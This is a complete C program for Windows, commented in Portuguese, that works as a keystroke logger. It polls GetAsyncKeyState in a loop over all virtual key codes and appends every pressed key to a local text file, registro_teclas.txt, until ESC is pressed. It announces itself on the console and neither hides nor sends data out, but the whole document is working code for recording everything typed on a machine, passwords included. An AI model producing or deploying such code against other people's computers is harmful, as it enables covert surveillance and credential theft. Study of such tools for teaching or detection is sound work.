#include <stdio.h>
#include <windows.h>

// Função para mapear tecla virtual para texto
void salvarTecla(int tecla, FILE *arquivo) {
    if (tecla == VK_SPACE)
        fprintf(arquivo, " ");
    else if (tecla == VK_RETURN)
        fprintf(arquivo, "\n");
    else if (tecla == VK_SHIFT || tecla == VK_LSHIFT || tecla == VK_RSHIFT ||
             tecla == VK_CONTROL || tecla == VK_MENU || tecla == VK_CAPITAL)
        ; // Ignora essas teclas de controle
    else
        fprintf(arquivo, "%c", tecla);
}

int main() {
    FILE *arquivo;
    char nomeArquivo[] = "registro_teclas.txt";

    printf("🔵 Monitorando teclas... Pressione ESC para encerrar.\n");

    arquivo = fopen(nomeArquivo, "a+"); // "a+" para abrir e adicionar no final
    if (arquivo == NULL) {
        printf("Erro ao abrir o arquivo!\n");
        return 1;
    }

    while (1) {
        Sleep(10); // Dá um tempo para o sistema (não travar)

        for (int tecla = 8; tecla <= 255; tecla++) {
            if (GetAsyncKeyState(tecla) & 0x8000) { // Tecla pressionada
                if (tecla == VK_ESCAPE) { // Se for ESC, sai
                    fclose(arquivo);
                    printf("\n🔴 Programa encerrado.\n");
                    return 0;
                }
                salvarTecla(tecla, arquivo);
                fflush(arquivo); // Garante salvar imediatamente
            }
        }
    }

    fclose(arquivo);
    return 0;
}
